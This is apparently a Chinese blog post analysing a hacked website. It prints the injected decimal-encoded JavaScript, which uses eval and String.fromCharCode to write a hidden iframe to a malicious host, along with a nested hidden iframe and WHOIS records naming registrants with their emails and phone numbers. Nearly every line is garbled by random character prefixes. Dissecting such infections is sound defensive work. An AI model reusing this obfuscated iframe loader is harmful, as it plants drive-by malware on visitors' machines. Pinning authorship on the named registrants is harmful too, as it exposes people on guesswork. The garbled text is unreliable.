首发在我的博客里面，
( !=^ (Nd sbV
{RSl http://www.areway.cn/?p=175
Tq*K
=^ o"-*,:Qe pZaOd;t 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
nb ,+!)+ %AnqT|\#, <script>t=’60,105,102,114,97,109,101,
1aBQ.- E- 32,115,114,99,61,104,116,116,112,58,47,47,
"[t b-$ER 102,114,101,101,46,117,45,117,117,117,46,99,
&D*22R4{CX 110,47,101,114,114,111,114,46,104,116,109,
%1^E;n 32,119,105,100,116,104,61,49,48,48,32,104,
;;? Zd 101,105,103,104,116,61,48,62,60,47,105,102,
.*W_;F o 114,97,109,101,62′;
S @[B?sNj t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6
r}R%{ \4 5%K|
<script>t=’60,105,102,114,97,109,101,32,115,
0G}]d17h o 114,99,61,104,116,116,112,58,47,47,102,114,
)CM3v L { 101,101,46,117,45,117,117,117,46,99,110,47,
?KMGk]_< 101,114,114,111,114,46,104,116,109,32,119,
1sN >U< 105,100,116,104,61,49,48,48,32,104,101,105,
_ q<Ke/ 103,104,116,61,48,62,60,47,105,102,114,97,
1'Y7h;\~\ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Q dtGFY4f, document.write(t);</script>
GB\1' h#Q Sx@U6 <html xmlns=”
>hsvRX\_ ` http://www.w3.org/1999/xhtml y|(C L^( “>
eB,eu4+- <head>
q6a7o=BP] <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
D +Ui1h- <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
w :+wx/ \ <title>首页 - 爱生活家庭网
T i !<{> (+lCh7. 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(' Doy1L 转换字符串后的大概内容是（谁点击后果自付）：
nkii0YB! <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
8^>qzaf
8 C^8n;i9 查询玉米u-uuu.cn的详细信息：
|E5\_Z Domain Name: u-uuu.cn
!aQQq[ ROID: 20070901s10001s64972306-cn
X8Y)5,`s Domain Status: ok
! u X0G4 Registrant Organization: 王雷
.Qz412
Registrant Name: 王雷
\6 WVs>z Administrative Email:
czlovexs@126.com g
r[ M- U Sponsoring Registrar: 北京万网志成科技有限公司
;2%8tV$V Name Server:ns.yovole.com
3:~ *cU Name Server:ns1.yovole.com
%=EN 3>, Registration Date: 2007-09-01 17:54
kK&M>)&o# Expiration Date: 2008-09-01 17:54
"-afHXED 最后PING了一下地址 都没有什么….
(HD8Mm uXkc07 r' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
F\IJ im-Rh <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
hF;TX.Y6 <script language=”javascript” src=”
49d02AU% http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Tw0GG8(c >
U1 ;<NUg 这个玉米应该有可能是木马作者的：
3Eu;_u_ foafau.info的详细信息：
$ l+DkR+ Access to INFO WHOIS information is provided to assist persons in
`m7w%J.> n determining the contents of a domain name registration record in the
[,86 ||^ Afilias registry database. The data in this record is provided by
L2<IG)oXU Afilias Limited for informational purposes only, and Afilias does not
@4xV3Xkf&C guarantee its accuracy. This service is intended only for query-based
zP n 2 access. You agree that you will use this data only for lawful purposes
J*FUJT and that, under no circumstances will you use this data to: (a) allow,
}Md5a% s< enable, or otherwise support the transmission by e-mail, telephone, or
uZhY)o*]@ facsimile of mass unsolicited, commercial advertising or solicitations
X5 w_ }Nhe to entities other than the data recipient’s own existing customers; or
R+b~m!5 8 (b) enable high volume, automated, electronic processes that send
[8v>jQ) queries or data to the systems of Registry Operator, a Registrar, or
'Tbdo >y Afilias except as reasonably necessary to register domain names or
8K@>BFk1. modify existing registrations. All rights reserved. Afilias reserves
w8iXuRv the right to modify these terms at any time. By submitting this query,
/*kc|V you agree to abide by this policy.
i2&I<: Domain ID:D22418703-LRMS
J@l QzRqRb Domain Name:FOAFAU.INFO
"eG@F Created On:20-Nov-2007 16:05:42 UTC
0Q4i<4 XW Last Updated On:20-Nov-2007 16:05:44 UTC
7Ad g; Expiration Date:20-Nov-2008 16:05:42 UTC
U6x$R O! Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
o>i@2_r\&H Status:CLIENT DELETE PROHIBITED
TnXx;v Status:CLIENT RENEW PROHIBITED
(mOL<h[)IP Status:CLIENT TRANSFER PROHIBITED
rJ=r_v Status:CLIENT UPDATE PROHIBITED
+L
U.QI' Status:TRANSFER PROHIBITED
-Wm'@4bH Registrant ID:GODA-040110615
]T X"BH"2 Registrant Name:liu hong
3)0z( 30 Registrant Organization:
gUWW}*\ U Registrant Street1:beijing
E - +t[W Registrant Street2:
(\$=de>? Registrant Street3:
b9RJ>K Registrant City:beijing
+Z=%4 Registrant State/Province:
KJP}0|[ Registrant Postal Code:100000
qLWM, [ Og Registrant Country:CN
ec3zoKtV Registrant Phone:+86.860108888777
J5 "d|i Registrant Phone Ext.:
< 19A= Registrant FAX:
_MLbJ Registrant FAX Ext.:
v9
*W M3 Registrant Email:bbbshiji@163.com
L"Dos + Admin ID:GODA-240110615
dKJ- {LV Admin Name:liu hong
Zgw4[GpL Admin Organization:
LTW iC I Admin Street1:beijing
^Gwpx + Admin Street2:
[MXyOE Admin Street3:
5hj
_YqQ7 Admin City:beijing
;FnU[Q`M#L Admin State/Province:
C/#?S=w`4 Admin Postal Code:100000
;6}> Shs Admin Country:CN
1uco{JX<S Admin Phone:+86.860108888777
*)D$w_06S Admin Phone Ext.:
2|\W aH9P Admin FAX:
O< ()T6 Admin FAX Ext.:
\&\U&^? Admin Email:bbbshiji@163.com
d.xT8l}sS Billing ID:GODA-340110615
Y.
Uca<{.[ Billing Name:liu hong
@p%WFNR0 Billing Organization:
4Is Wp!`W Billing Street1:beijing
9}A\Bh tiM Billing Street2:
l8 H8c & Billing Street3:
T6nc/| Ot Billing City:beijing
MWq1 "c Billing State/Province:
":!1gC Billing Postal Code:100000
X ImX1GH Billing Country:CN
a^g}Z7D'T Billing Phone:+86.860108888777
Z9q1z~qSQ Billing Phone Ext.:
ac%x\e$ Billing FAX:
L ARMZoyi Billing FAX Ext.:
^TEFKx}PX Billing Email:bbbshiji@163.com
szUJh9- Tech ID:GODA-140110615
* -X`^R Tech Name:liu hong
;pt.)5 Tech Organization:
hV}C.- 6h Tech Street1:beijing
zK>}x= Tech Street2:
h@C P Tech Street3:
aIo%~w Tech City:beijing
+FH@|~^O Tech State/Province:
Jp"[` m Tech Postal Code:100000
Vy 7 )_D Tech Country:CN
45Lzq6 Tech Phone:+86.860108888777
oq9gFJG( Tech Phone Ext.:
&G) /i * Tech FAX:
SZD7"m4 Tech FAX Ext.:
_sAcvKH Tech Email:bbbshiji@163.com
p]rV\,Yss Name Server:NS27.DOMAINCONTROL.COM
{sW>J0 Name Server:NS28.DOMAINCONTROL.COM
I<qG{PA Name Server:
%m##i Name Server:
`_e5pW=:> Name Server:
2$b JMx> Name Server:
wGgeK,*_ Name Server:
a[ jNT$8 Name Server:
z:oi @q Name Server:
n{(, r' Name Server:
# '4Psz Name Server:
!.{"Ttn;s Name Server:
7Qd boEa Name Server:
_'Rg7zHTp- -ND1+`yD 接着下载每个文件里面的代码：
!@>q^_Gez 一步一步看..
nCDG PzJ 
D<'G\#n3I= 
/h 4rW>8D2 
B&AF(e ( 
MIY`"h0* 
gjzU%{ T ? 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
